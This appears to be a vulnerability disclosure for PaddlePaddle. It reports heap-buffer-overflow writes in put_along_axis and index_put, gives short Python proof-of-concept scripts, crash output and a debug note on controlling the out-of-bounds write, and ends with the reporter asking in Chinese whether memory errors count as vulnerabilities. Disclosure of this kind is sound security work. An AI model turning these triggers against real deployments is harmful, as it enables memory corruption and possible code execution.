heap-buffer-overflow in function put_along_axis

Summary

The put_along_axis function will trigger a heap-buffer-overflow write under under specific circumstances.

environment

paddle:develop(Nightly build)
os:ubuntu22.04
python:Python 3.10.12 (main, Mar 22 2024, 16:50:05) [GCC 11.4.0] on linux

Vulnerability Description

There is no limit to the index value passed to the put_along_axis function, which can cause heap OOB write.

Poc

import paddle

x = paddle.to_tensor([0])
index = paddle.to_tensor([0xdeadbeef])
out = paddle.put_along_axis(
arr=x,
indices=index,
values=0xdeadbeef,
axis=0,
)

Debug

Obviously, rcx is the value of the index we passed in, and r14 is a heap address. We can achieve heap overflow and out-of-bounds write by controlling the index .

heap-buffer-overflow write in function index_put

Summary

The index_put function will trigger a heap-buffer-overflow write under under specific circumstances.

environment

paddle:develop(Nightly build)
os:ubuntu22.04
python:Python 3.10.12 (main, Mar 22 2024, 16:50:05) [GCC 11.4.0] on linux

Vulnerability Description

There is no limit to the indices value passed to the paddle.index_put function, which can cause heap OOB write.

Poc

import paddle

for i in range(0x100):
    x = paddle.zeros([1])
    value = paddle.ones([1])
    indices = (paddle.to_tensor([i]), paddle.to_tensor([1]))
    out = paddle.index_put(x, indices, value)
>python3 poc.py
free(): invalid next size (fast)

or:
> python3 poc.py
double free or corruption (out)

or:
> python3 poc.py
malloc(): invalid size (unsorted)

The prompt "free(): invalid next size (fast)" indicates an error reported by the glibc malloc heap manager due to memory being modified.

顺带一提，我试过将这三份报告提交给 paddle-security@baidu.com ，但没得到回复。因此我想问，内存错误目前是否认定为漏洞？还是说是bug？
